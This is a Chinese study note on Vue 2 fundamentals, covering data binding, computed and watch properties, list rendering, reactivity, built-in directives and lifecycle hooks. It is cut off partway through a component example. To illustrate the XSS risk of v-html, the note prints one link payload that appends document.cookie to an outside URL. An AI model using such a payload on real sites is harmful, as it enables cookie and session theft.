「尚硅谷 张天禹」Vue2基础知识

初识vue

阻止生成生产提示

如果使用的是开发版Vue，Vue 在启动时会生成生产提示

// 关闭提示，新建 Vue 实例要在此语句下面
Vue.config.productionTip = false

vue模版语法

插值语法

用于标签体内容

语法：{{你要动态变化的数据}}

// 示例：创建 Vue 实例，定义数据name
new Vue({
  el:'#root',      // element
  data:{
    name:"liuweb"
  }
})

// 在 div 标签中插值
<div id='root'> {{name}} <div>

指令语法

用于解析标签属性

数据绑定（v-bind v-model）

单向数据绑定v-bind

单向的意思：只能从data流向页面（只能通过修改实例中data的数据改变标签数据）

语法：v-bind:标签属性，可以简写成:属性。

// 示例：创建 Vue 实例，定义数据url,在 a 标签中插值
// 使用 v-bind： 绑定后，就会把里面的语句当成表达式解析
<a v-bind:href="url">跳转链接</a>     
<a :href="url">跳转链接</a>

双向数据绑定v-model

双向的意思：可以从data流向页面，还可以从页面流向data

语法：v-model:标签属性，可以简写成v-model, 因为默认收集的是value值。

注意：v-model只能应用在表单类元素(输入类元素)上

<input type='text' v-model:value="test">
<input type='text' v-model="test"> //简写

el和data的两种写法

el有2种写法

new Vue时候配置el属性。

const v = new Vue({
  el: '#root', //第一种写法
  data: {
    name: '上海'
  }
});

先创建Vue实例，随后再通过vm.$mount('#root')指定el的值。

const v = new Vue({
  // el: '#root', //第一种写法
  data: {
    name: '上海'
  }
});

// console.log(v);
//关联root容器，用mount方法
v.$mount('#root'); //第二种写法 挂载到页面上

可以实现延迟挂载等，更加灵活。

setTimeout(() => {
  v.$mount('#root'); //延迟挂载到页面上
}, 3000)

data有2种写法

对象式

new Vue({
  el: '#root',
  //data的第一种写法:对象式
  data: {
    name: 'shanghai'
  }
})

函数式

返回对象中包含你想渲染的模版数据

//学习组件的时候要是用函数式 这个函数是Vue来调用的
new Vue({
  el: '#root',
  data (){
    console.log('@@@', this); //此时this是Vue
    return {
      name: 'shanghai'
    }
  }
})

尽量不要写成箭头函数，因为会丢失this

data: () => {
  console.log(`@@@@`, this); //此时this是window，因为箭头函数没有自己的this，它向外查找找到的window
  return ({
    name: 'shanghai'
  })
}

如何选择

目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。

MVVM模型

概念

M：模型(Model) ：data中的数据

V：视图(View) ：模板代码

VM：视图模型(ViewModel)：Vue实例

深入

data中所有的属性，最后都出现在了vm身上。

const vm = new Vue(
  {
    el: "#app",
    data: {
      name: "liuweb"
    }
  }
);
console.log(vm);

vm身上所有的属性及Vue原型上所有属性，在Vue模板中都可以直接使用。

数据代理

回顾Object.defineProperty方法

基本语法

Object.defineProperty 语法：Object.defineProperty(obj, prop, descriptor)

obj要定义属性的对象。

prop一个字符串或 Symbol，指定了要定义或修改的属性键。

descriptor要定义或修改的属性的描述符。

返回值为传入函数的对象，其指定的属性已被添加或修改。

简单使用

let a = {
  name:"liuweb"
}

// 加入age数据
Object.defineProperty(a,'age',{
  value:18,
})

console.log(Object.keys(a))     //用数组输出数据

age 属性默认可访问

但不可被枚举

完整参数

let a = {
  name:"liuweb"
}

// 加入age数据
Object.defineProperty(a,'age',{
  value:18,
  enumerable:true,    // 让数据可枚举
  writable:true,      // 让数据可修改
  configurable:true   // 让数据可删除
})

console.log(Object.keys(a))     //用数组输出数据

get set

get

当 value 不提前指定，可以通过 get 与变量进行绑定。

let age = 18;
let a = {
  name: "liuweb"
};

// 加入age数据
Object.defineProperty(a, 'age', {
  // value:18,
  get() {   //当读取age属性时get属性就会被调用，且返回值就是age的值
    return age;
  }
})

console.log(a)     //用数组输出数据

console 中 age 属性需要点击获取

将 age 变量进行修改再访问age = 19a 中的 age 属性也进行同步获取并修改

set

let age = 18;
let a = {
  name: "liuweb"
};

// 加入age数据
Object.defineProperty(a, 'age', {
  get() {
    return age;
  },
  set(number) {
    age = number;
  }
})

console.log(a)     //用数组输出数据

实现了双向绑定

定义数据代理

数据代理，通过一个对象代理另一个对象中属性的操作

// 示例
let obj = {x:100}
let obj2 = {y:200}
Object.defineProperty(obj2,'x',{
  // 访问 obj2.x 可以输出 obj.x 的值
  get(){
    return obj.x
  },
  // 修改 obj2.x 可以修改 obj.x 的值
  set(value){
    obj.x = value
  }
})

Vue中的数据代理

Vue 通过vm对象来代理data对象中属性的操作（读/写）

vm._data存有 data 原始数据

但使用起来不方便，如需使用{{._data.name}}获得 data 中的 name 属性

vm对象代理后，可以更加方便的操作data中的数据

基本原理：

通过Object.defineProperty()把data对象中所有属性添加到vm上。

为每一个添加到vm上的属性，都指定一个getter/setter。

在getter/setter内部去操作（读/写）data中对应的属性。

事件处理（methods）

事件的基本使用

语法

事件绑定v-on:事件可简写为@事件

methods

事件的回调需要配置在methods对象中，最终会在vm上；

methods:{
  show(event){
    console.log(event)    // 事件对象
  }
}

methods 中配置的函数this是 vue实例（vm），但不要用箭头函数，不然this就不是 vm 了是 window

其实事件回调函数也可以写在 data 里，但是会被代理到 vm 上，浪费资源，因此单独设计了 methods 对象，下图中放在data中的showInfo2被做了数据代理。

参数

event会作为默认参数传进来，顺序不固定。

<div id='root'>
  // <button v-on:click="你要执行的东西">1</button>
  // <button @click="你要执行的东西">2</button>

  // 传参。假设点击时执行show()函数
  <button @click="show">3</button>   //函数名后无括号() 时默认传事件对象
  <button @click="show()">4</button>   //有括号()为空时无默认参数
  <button @click="show(10,$event)">5</button>  //$event占位传递进来 顺序可以不固定
</div>
const vm = new Vue({
  el:'#root',
  methods:{
    show(number,event){
      console.log(number)   // 10
      console.log(event)      // 事件对象
    }
  }
})

事件修饰符

Vue中的事件修饰符，可以连续写。

prevent：阻止默认事件（常用）

stop：阻止事件冒泡（常用）

once：事件只触发一次（常用）

<!--事件只触发一次-->
<button @click.once="showInfo">点我提示信息,只在第一次点击生效</button>

capture：使用事件的捕获模式

<div class="box1" @click.capture="showMsg(1)">
  div1
  <div class="box2" @click="showMsg(2)">div2</div>
</div>

self：只有event.target是当前操作的元素时才触发事件

<!-- self 只有event.target是当前操作的元素时才触发事件(变相阻止冒泡)-->
<div class="demo1" @click.self="showInfo">
  <button @click="showInfo">点我提示信息</button>
</div>

passive：事件的默认行为立即执行，无需等待事件回调执行完毕

键盘事件

vue中键盘事件的绑定 一般用keyUp(keydown)，@keyup 按键按下去抬起来后执行 @keydown 按键按下去就执行@keyup="XXX"。

1.Vue中常用的按键别名：

回车 => enter

删除 => delete (捕获“删除”和“退格”键)

退出 => esc

空格 => space

换行 => tab (特殊，必须配合keydown去使用)

上 => up

下 => down

左 => left

右 => right

<!-- 准备好一个容器-->
<div id="root">
  <h2>欢迎来到{{name}}学习</h2>
  <input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
</div>

<script>
  new Vue({
    el:'#root',
    data:{
      name:'浙江理工大学'
    },
    methods: {
      showInfo(e){
        // console.log(e.key,e.keyCode)
        console.log(e.target.value)
      }
    },
  })
</script>

2.Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）。

3.系统修饰键（用法特殊）

ctrl、alt、shift、meta

(1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。

(2).配合keydown使用：正常触发事件。

4.也可以使用keyCode去指定具体的按键（不推荐）

5.Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名。

6.支持连写。

计算属性（computed）

产生背景

要用的属性不存在，要通过已有的属性计算得来，因该避免在模板中引入复杂表达式，如{{firstName.slice(0,3)}}-{{this.lastName}}。

可以通过methods函数实现

methods:{
  fullName(){
    return `${this.firstName.slice(0,3)} -- ${this.lastName}`
  }
}

语法

可以使用计算属性（computed）实现。

data中的数据发生变化的话，要重新解析模版，对数据进行更新，插值模版中的函数也会更新。

methods没有缓存，读几次就调用几次无论要用的数据是否发生变化。

与methods实现相比，computed内部有缓存机制（复用），效率高。

底层借助了Object.defineproperty方法提供的getter、setter。

注意，计算属性算完之后直接丢到了viewModel实例对象身上，直接读取使用即可，vm._data是不存计算属性的。

computed: {
  fullName: {
    get(){
      //此时get函数中的this指向是vm
      return this.firstName + '--' + this.lastName;
    },
    set(value){
      //修改计算属性所依赖的普通属性(放在data里面的)
      //this === vm

    }
  }
}

调用时机

get的调用时机

1.初次读取计算属性时

2.所依赖的数据（data中的属性）发生变化时，不改变的话直接读缓存（复用）。

set的调用时机

如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

set(value){
  //修改计算属性所依赖的普通属性(放在data里面的)
  //this === vm
  const [ firstName, lastName ] = value.split('-');
  this.firstName = firstName;
  this.lastName = lastName; //依赖属性发生改变之后,计算属性自动改变
}

简写语法实现

当计算属性只考虑读取不考虑修改，即 set丢了，可以简写为一个函数(这个函数当成getter使用)，注意不要写箭头函数。

执行完getter之后，vm直接保存返回的数据为fullName属性的属性值，此时vm.fullName不是函数而是一个确切的计算值。

computed: {
  //简写形式
  fullName(){
    return this.firstName + '--' + this.lastName;
  }
}

监视属性（watch）

产生背景

数据变化需要及时知道的需求

语法

当被监视的属性变化时，回调函数自动调用，进行相关操作。

监视的属性必须存在，才能进行监视！！

watch不仅能监视data的普通属性，也可以检测计算属性

监视的两种写法：

(1).new Vue时传入watch配置

const vm = new Vue({
  el:'#root',
  data:{
    isHot:true
  },
  watch:{
    //监视的配置对象
    //
    isHot:{
      immediate: true, //当这个属性为true时，页面刚渲染就运行handler函数
      //handler 什么时候调用呢
      //当isHot发生改变就会调用该函数
      //handler接收两个参数，一个是这个状态参数改变前的值，另一个是改变后的旧值
      handler(newValue, preValue){
        console.log('ishot 被修改了');
        console.log(`newValue: ${newValue}, preValue: ${preValue}`);
      }
    }
  }
})

(2).通过vm.$watch监视

vm.$watch('isHot',{
  immediate:true,     //初始化时让handler调用一次，默认false
  handler(newValue,oldValue){
    console.log(newValue,oldValue)
  }
})

深度监视

Vue自身可以监测对象内部值的改变，但Vue中的watch默认不监测对象内部值的改变（一层）。

监视多级结构里面的单一属性可以使用'numbers.a'方式

data:{
  numbers:{
    a:1,
    b:1,
  }
},
watch:{
  //监测多级结构里面的属性 深度监视
  'numbers.a':{
    handler(){
      console.log('a发生改变了')
    }
  }
}

但要想监视numbers内部变化，即a、b任一数据的变化，下面方式是无效的

data: {
  numbers: {
    a: 1,
    b: 2
  }
},
watch: {
  'numbers': {
    handler() {
      console.log("numbers change");
    }
  }
}

只有改变 numbers 对象地址才会触发。例如指向新对象@click="numbers={}"

使用watch时根据数据的具体结构，决定是否采用深度监视。

配置deep:true可以监测对象内部值改变（多层）。

watch:{
  numbers:{
    deep: true, //监视多级结构的属性
      handler(){
      console.log('numbers 发生改变')
    }
  }
}

简写形式

watch:{
  //简写的前提watch的属性不需要immediate和deep属性的时候
  isHot(newValue, preValue){
    console.log(newValue,preValue);
  }
}

vm.$watch('isHot',function(){
  console.log('数据改变了')
})

computed和watch之间的区别

1.computed能完成的功能，watch都可以完成。

2.watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。

两个重要的小原则：

1.所有被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或 组件实例对象。

2.所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，这样this的指向才是vm 或 组件实例对象。

绑定样式（:class :style）

class样式

写法:class="xxx" xxx可以是字符串、对象、数组。 字符串写法适用于：类名不确定，要动态获取。 对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。 数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

字符串写法

适用于：样式的类名不确定，需要动态指定。

// 示例1,一个div有基础样式base，有其他样式a,b,c
<div id="#root">
  <div class="basic" :class="mood"></div>
</div>
// js
new Vue({
  el:"#root",
  data:{
    mood:'a'
  }
})

数组写法

适用于：要绑定的样式个数不确定、名字不确定。

// 示例2
<div id="#root">
  <div class="basic" :class="classArr"></div>
</div>
// js
new Vue({
  el:"#root",
  data:{
    classArr:['a','b','c']          // 要修改时，改classArr的数量即可
  }
})

对象写法

适用于：要绑定的样式、名字确定，但要动态决定用不用。

// 示例2
<div id="#root">
  <div class="basic" :class="classObj"></div>
</div>
// js
new Vue({
  el:"#root",
  data:{
    classObj:{              // 要修改时改变布尔值即可
      a:true,
      b:true,
      c:false
    }
  }
})

<!--绑定style样式 对象写法-->
  <div class="basic" :style="styleObj">
  {{ name }}
  </div>
  <hr/>
  <!--绑定style样式 数组写法-->
  <div class="basic" :style="[styleObj, styleObj2]">
  {{ name }}
  </div>
  <hr/>
  <div class="basic" :style="styleArr">
  {{ name }}
  </div>

style样式

:style="{fontSize: xxx}"其中xxx是动态值。
:style="[a,b]"其中a、b是样式对象。

<!--绑定style样式 对象写法-->
<div class="basic" :style="styleObj">
    {{ name }}
</div>
<hr/>
<!--绑定style样式 数组写法-->
<div class="basic" :style="[styleObj, styleObj2]">
    {{ name }}
</div>
<hr/>
<div class="basic" :style="styleArr">
    {{ name }}
</div>

data: {
   name:'test',
   styleObj:{
       fontSize: '40px',
       color: 'red',
   },
   styleObj2:{
       background: 'green'
   },
   styleArr:[
       { color: 'orange' },
       { background: 'grey' }
   ]
},

条件渲染（v-show v-if）

v-show

写法：v-show="表达式"

适用于：切换频率较高的场景。

特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉。

//v-show要能转换为一个布尔值 v-show条件渲染
<h2 v-show="a">欢迎来到{{ name }}</h2>
<h2 v-show="1===1">欢迎来到{{ name }}</h2>

v-if

<div v-if="n === 1">angular</div>
<div v-else-if="n === 2">react</div>
<div v-else-if="n === 3">vue js</div>
<div v-else>not found</div>

适用于：切换频率较低的场景。

特点：不展示的DOM元素直接被移除。

注意：v-if可以和v-else-if、v-else一起使用，但要求结构不能被“打断”。

为了不破坏结构，可以结合template使用。

<!--v-if与template的配合使用-->
<template v-if="n === 1">
  <h2>你好</h2>
  <h2>shanghai</h2>
  <h2>shenzhen</h2>
</template>

列表渲染（v-for）

语法

v-for用于展示列表数据，可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）。

语法：v-for="(item, index) in xxx" :key="yyy"。

:代表v-bind属性，key让每一项有了唯一的标识，因此key一定不要重复。

(item, index)可以接受到两个参数，一个是当前的元素另一个是当前元素的索引

<div>

  <!--遍历数组-->
  <ul>
    <!--循环列表的方法 类似与for in循环遍历-->
    <!--:代表v-bind 属性key让每一个li有了唯一的标识,key一定不要重复-->
    <!--v-for(for in// for of)可以接受到两个参数,一个是当前的元素另一个是当前元素的索引 类似于下面的person,index-->
    <li v-for='(person, index) in persons' :key="index">
      <!--p可能来自形参，也可能来自于写在data里的属性，更可能来自于计算属性 computed-->
      {{person.name}} - {{ person.age }}
    </li>
  </ul>

  <!--遍历对象-->
  <h2>汽车信息</h2>
  <!--注意遍历对象的时候先收到的是每一项的属性的value，第二项是对应的键名:key-->
  <ul v-for="(val, key) of car" :key="key">
    <li>{{ key }} -- {{ val }}</li>
  </ul>

  <!--遍历字符串 用的不多-->
  <h2>测试遍历字符串</h2>
  <!--注意遍历字符串的时候先收到的是字符串中每一个字符，第二项是其对应的索引index-->
  <ul v-for="(c, index) of str" :key="index">
    <li>{{ index }} -- {{ c }}</li>
  </ul>

  <!--遍历指定次数-->
  <h2>遍历指定次数</h2>
  <!--注意遍历指定次数的时候先收到的是number(例如5，则number是1，2，3，4，5)，第二项是对应index(从0开始计数,则是0,1,2,3,4)-->
  <ul v-for="(num, index) in 5" :key="index">
    <li>{{ index }} -- {{ num }}</li>
  </ul>

</div>
<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      //数组
      persons: [
        {id: '001', name: '张三', age: 18},
        {id: '002', name: '李四', age: 19},
        {id: '003', name: '王五', age: 20}
      ],
      car: {
        name: '奥迪a8',
        price: '70w',
        color: '黑色'
      },
      str: 'hello'
    }
  })
</script>

key属性的作用与原理

面试题：react、vue中的key有什么作用？（key的内部原理）

虚拟DOM中key的作用：

key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,

随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

对比规则：

(1).旧虚拟DOM中找到了与新虚拟DOM相同的key：

①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！

②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

(2).旧虚拟DOM中未找到与新虚拟DOM相同的key

创建新的真实DOM，随后渲染到到页面。

用index作为key可能会引发的问题：

1.若对数据进行：逆序添加、逆序删除等破坏顺序操作:

会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

2.如果结构中还包含输入类的DOM：

会产生错误DOM更新 ==> 界面有问题。

开发中如何选择key?:

1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。

2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，

使用index作为key是没有问题的。

列表过滤

watch

<div id="root">
  <h2>人员列表</h2>
  <!--v-model双向绑定-->
  <input type="text" placeholder="请输入名字" v-model="keyword"/>
  <ul v-for="p in filPersons" :key="p.id">
    <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
  </ul>
</div>
<script type="text/javascript">
  // 用监视属性书写功能
  new Vue({
    el:'#root',
    data: {
      keyword : '',
      persons: [
        {id: "001", name:'周冬雨', age:20, sex:'女'},
        {id: "002", name:'马冬梅', age:19, sex:'女'},
        {id: "003", name:'周杰伦', age:21, sex:'男'},
        {id: "004", name:'温兆伦', age:22, sex: '男'},
      ],
      filPersons: []
    },
    //watch监听用户输入项keyword的变化
    watch:{
      keyword: {
        immediate: true, //上来就进行监视获得到的newV是''
        handler(newV){
          // console.log(newV)
          //不要修改元数据，这样只会越写越少
          //注意一个某个字符串.indexOf('')是0而不是-1(都包含空字符串)
          this.filPersons = this.persons.filter(p => p.name.indexOf(newV) !== -1);
        }
      }
    }
  })
</script>

computed

<div id="root">
  <h2>人员列表</h2>
  <!--v-model双向绑定-->
  <input type="text" placeholder="请输入名字" v-model="keyword"/>
  <ul v-for="p in filPersons" :key="p.id">
    <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
  </ul>
</div>
<script type="text/javascript">
  //当computed和watch都可以实现基本功能时优先考虑computed (重要)
  new Vue({
    el:'#root',
    data: {
      keyword : '',
      persons: [
        {id: "001", name:'周冬雨', age:20, sex:'女'},
        {id: "002", name:'马冬梅', age:19, sex:'女'},
        {id: "003", name:'周杰伦', age:21, sex:'男'},
        {id: "004", name:'温兆伦', age:22, sex: '男'},
      ],
    },
    computed:{
      filPersons(){
        return this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
      }
    }
  })
</script>

列表排序

<div id="root">
  <h2>人员列表</h2>
  <!--v-model双向绑定-->
  <input type="text" placeholder="请输入名字" v-model="keyword"/>
  <button @click="sortType = 2">年龄升序</button>
  <button @click="sortType = 1">年龄降序</button>
  <button @click="sortType = 0">原顺序</button>
  <ul v-for="p in filPersons" :key="p.id">
    <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
  </ul>
</div>
<script type="text/javascript">
  new Vue({
    el:'#root',
    data: {
      keyword : '',
      sortType: 0, //0代表原顺序 1代表降序 2代表升序
      persons: [
        {id: "001", name:'周冬雨', age:20, sex:'女'},
        {id: "002", name:'马冬梅', age:19, sex:'女'},
        {id: "003", name:'周杰伦', age:21, sex:'男'},
        {id: "004", name:'温兆伦', age:22, sex: '男'},
      ],
    },
    computed:{
      filPersons(){
        const arr = this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
        //判断是否需要排序
        if(!this.sortType) return arr;
        //sort回调回收到前后两个数据项,a和b
        //sort会改变的原数组
        return arr.sort((p1, p2) => this.sortType === 1 ? p2.age-p1.age : p1.age - p2.age);
      }
    }
  });
</script>

数据监测的原理

更新时的一个问题

data: {
  persons: [
    {id: "001", name:'周冬雨', age:20, sex:'女'},
    {id: "002", name:'马冬梅', age:19, sex:'女'},
    {id: "003", name:'周杰伦', age:21, sex:'男'},
    {id: "004", name:'温兆伦', age:22, sex: '男'},
  ],
},
methods:{
  updateM(){
    // this.persons[1].name = '马老师';  //奏效
    // this.persons[1].age = 50;      //奏效
    // this.persons[1].sex = '男'; //奏效
    // this.persons[1] = { id: '002', name: '马老师', age: 50, sex:'男' }; //这样修改vue是无法监测数据的
    this.persons.splice(1,1,{ id: '002', name: '马老师', age: 50, sex:'男' });
  }

} 

vue监测数据改变的原理\_对象

如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

(1).对象中后追加的属性，Vue默认不做响应式处理

(2).如需给后添加的属性做响应式，请使用如下API：

Vue.set(target,propertyName/index,value) 或vm.$set(target,propertyName/index,value)

模拟一个数据监测

<script type="text/javascript">
let data = {
  name: "武汉科技大学",
  address: '武汉'
}
//无限递归 调用栈炸了 内存溢出
//错误写法
// Object.defineProperty(data, 'name', {
//     get(){
//         return data.name
//     },
//     set(val){
//         data.name = val;
//     }
// })

//创建一个监视实例对象
const obs = new Observer(data);

//准备一个vm实例
let vm = { };

vm._data = data = obs;

//观察者
function Observer(obj){
  //缺陷：未实现递归(对象嵌套对象就会出现问题)
  const keys = Object.keys(obj);
  //遍历对象当中所有的key
  keys.forEach(key => {
    Object.defineProperty(this, key, {
      get(){
        return obj[key]
      },
      set(v) {
        console.log(`${key}的值改变了,变为${v}`);
        obj[key] = v;
      }
    })
  });
}
</script>

Vue.set的使用

<div id="root">
  <h1>学校信息</h1>
  <h2>学校名称:{{ name }}</h2>
  <h2>学校地址:{{ address }}</h2>
  <hr/>
  <h1>学生信息</h1>
  <button @click.once="addSex">添加一个性别属性,默认值是男</button>
  <h2>学生姓名:{{ stu.name }}</h2>
  <h2>学生真实年龄:{{ stu.age.rage }}</h2>
  <h2>学生对外年龄:{{ stu.age.sage}}</h2>
  <h2 v-if="stu.sex">学生性别: {{ stu.sex }}</h2>
  <h2>朋友们</h2>
  <ul v-for="(f, index) in stu.friends" :key="index">
    <li>{{ f.name }} -- {{ f.age }}</li>
  </ul>
</div>
<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data:{
      name: '武汉科技大学',
      address: '武汉',
      stu:{
        name: 'tom',
        age:{
          rage: 12,
          sage: 29
        },
        friends: [
          { name: 'Jerry', age: 23 },
          { name: 'Jane', age: 18 }
        ]
      }
    },
    methods:{
      addSex(){
        //这里this === vm
        //利用vue.set(或者vm.$set())api能够添加的属性变为响应式属性
        //注意对象不能是 Vue 实例，或者 Vue 实例的根数据对象。
        Vue.set(this.stu, 'sex', '男')
        // this.$set(this.stu, 'sex', '男');
      }
    }
  })
</script>

vue监测数据改变的原理\_数组

通过包裹数组更新元素的方法实现，本质就是做了两件事：

(1).调用原生对应的方法对数组进行更新。

(2).重新解析模板，进而更新页面。

在Vue修改数组中的某个元素一定要用如下方法：

1.使用这些API：push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set() 或 vm.$set()

特别注意：Vue.set()和vm.$set()不能给vm或者vm 的根数据对象添加属性

vue数据监测总结

Vue监视数据的原理：

1.vue会监视data中所有层次的数据。

2.如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

(1).对象中后追加的属性，Vue默认不做响应式处理

(2).如需给后添加的属性做响应式，请使用如下API：

Vue.set(target,propertyName/index,value) 或

vm.$set(target,propertyName/index,value)

3.如何监测数组中的数据？

通过包裹数组更新元素的方法实现，本质就是做了两件事：

(1).调用原生对应的方法对数组进行更新。

(2).重新解析模板，进而更新页面。

4.在Vue修改数组中的某个元素一定要用如下方法：

1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set() 或 vm.$set()

特别注意：Vue.set() 和 vm.$set() 不能给vm或vm的根数据对象 添加属性！！！

注: 数据劫持可以理解成为vue对你写在data的数据会进行加工，让它们都变成响应式的。

收集表单数据

若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。

若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。

若：<input type="checkbox"/>

1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）

2.配置input的value属性:

(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）

(2)v-model的初始值是数组，那么收集的的就是value组成的数组

备注：v-model的三个修饰符：

lazy：失去焦点再收集数据

number：输入字符串转为有效的数字

trim：输入首尾空格过滤

过滤器

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。

语法：

1.注册过滤器：全局过滤器Vue.filter(name,callback) 或局部过滤器 new Vue{filters:{}}

2.使用过滤器：{{ xxx 过滤器名}} 或 v-bind:属性 = "xxx 过滤器名"

备注：

1.过滤器也可以接收额外参数、多个过滤器也可以串联

2.并没有改变原本的数据, 是产生新的对应的数据

内置指令

v-text指令

1.作用：向其所在的节点中渲染文本内容。 (纯文本渲染)

2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。这里有点不太灵活

注意v-text不会解析标签，而是直接将标签当纯文本解析

v-html指令

1.作用：向指定节点中渲染包含html结构的内容。

2.与插值语法的区别：

(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。

(2).v-html可以识别html结构。

3.严重注意：v-html有安全性问题！！！！

(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'

v-cloak指令（没有值）

1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

v-once指令

1.v-once所在节点在初次动态渲染后，就视为静态内容了。

2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<h2 v-once>初始化n的值为:{{ n }}</h2>
<h2>当前的n值为:{{ n }}</h2>

v-pre指令

1.跳过其所在节点的编译过程。

2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

自定义指令

一、定义语法：

(1).局部指令：

new Vue({directives:{指令名:配置对象} }) 或 new Vue({directives: {指令名:回调函数}})

(2).全局指令：

Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调：

(1).bind：指令与元素成功绑定时调用。

(2).inserted：指令所在元素被插入页面时调用。

(3).update：指令所在模板结构被重新解析时调用。

三、备注：

1.指令定义时不加v-，但使用时要加v-；

2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

生命周期

1.又名：生命周期回调函数、生命周期函数、生命周期钩子。

2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。

3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。

4.生命周期函数中的this指向是vm 或 组件实例对象。

常用的生命周期钩子:

1.mounted：发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】

2.beforeDestroy：清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例 :

1.销毁后借助Vue开发者工具看不到任何信息。

2.销毁后自定义事件会失效，但原生DOM事件依然有效。

3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会触发更新流程了。

<div id="root" :x="n">
  <h1>当前的n值是{{ n }}</h1>
  <h1 v-text="n"></h1>
  <button @click="add">点我+1</button>
  <button @click="bye">点我销毁vm</button>
</div>
<script type="text/javascript">
  Vue.config.productionTip = false;
  new Vue({
    el:"#root",
    //template模版字符串只能有一个根结点
    // template:'<div><h1>当前的n值是{{ n }}</h1>\n' +
    //     '<button @click="add">点我+1</button></div>',
    //注意template是不能作为根标签来使用的，不能去骗vue，可以用fragment(vue3新加，模仿react)
    data: {
      n: 1
    },
    methods:{
      add(){
        console.log('add')
        this.n++;
      },
      bye(){
        //实例销毁后调用。该钩子被调用后，对应 Vue 实例的所有指令都被解绑，所有的(自定义)事件监听器被移除，所有的子实例也都被销毁。
        console.log('bye');
        this.$destroy();
      }
    },
    watch:{
      n(){
        console.log('n变了');
      }
    },
    beforeCreate(){
      console.log('beforeCreate');
      // console.log(this);

    },
    created(){
      console.log('created');
      // console.log(this);
    },
    beforeMount(){
      console.log('beforeMount');
      // console.log(this);
    },
    mounted(){
      console.log('mounted');
      console.log(this);
      // document.querySelector('h1').innerText = 'hahah';
    },
    beforeUpdate(){
      console.log('beforeUpdate');
      //console.log(this.n); //此时数据是新的，页面还是旧的，vue还没根据新的数据去生成新的虚拟dom，去比较旧的虚拟dom
    },
    updated(){
      console.log('updated');
      console.log(this.n); //此时数据是新的，页面也是新的，同步
    },
    beforeDestroy(){
      //仍然可以使用data,methods，关闭定时器，取消订阅消息，解绑自定义事件等收尾工作，移除watchers
      console.log('beforeDestroy');
      console.log(this.n);
      // this.add(); //记住一旦到了beforeDestroy或者destroyed钩子，即使你拿到数据想要更新它也不会走更新的路了(beforeUpdate,updated)
    },
    //destroyed钩子几乎不用
    destroyed(){
      console.log('destroyed');
    }
  });

非单文件组件

Vue中使用组件的三大步骤

定义组件(创建组件)

注册组件

使用组件(写组件标签)

如何定义一个组件

使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，但也有点区别：

1.el不要写，为什么？ ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。

2.data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系。

备注：使用template可以配置组件结构。

如何注册组件

1.局部注册：靠new Vue的时候传入components选项

2.全局注册：靠Vue.component('组件名',组件)

编写组件标签

<myinfo></myinfo>

// 示例
<div id="root"> 
  <h2>组件：局部注册</h2>
  // 3.使用组件标签
  <myinfo></myinfo>
</div>
<script>
  // 1.创建组件
  const myinfo = Vue.extend({
    template:`
            <div>
                <h4>我的名字叫:{{myName}}</h4>
                <h4>我今年{{age}}岁</h4>
            </div>
        `,
    data(){
      return {
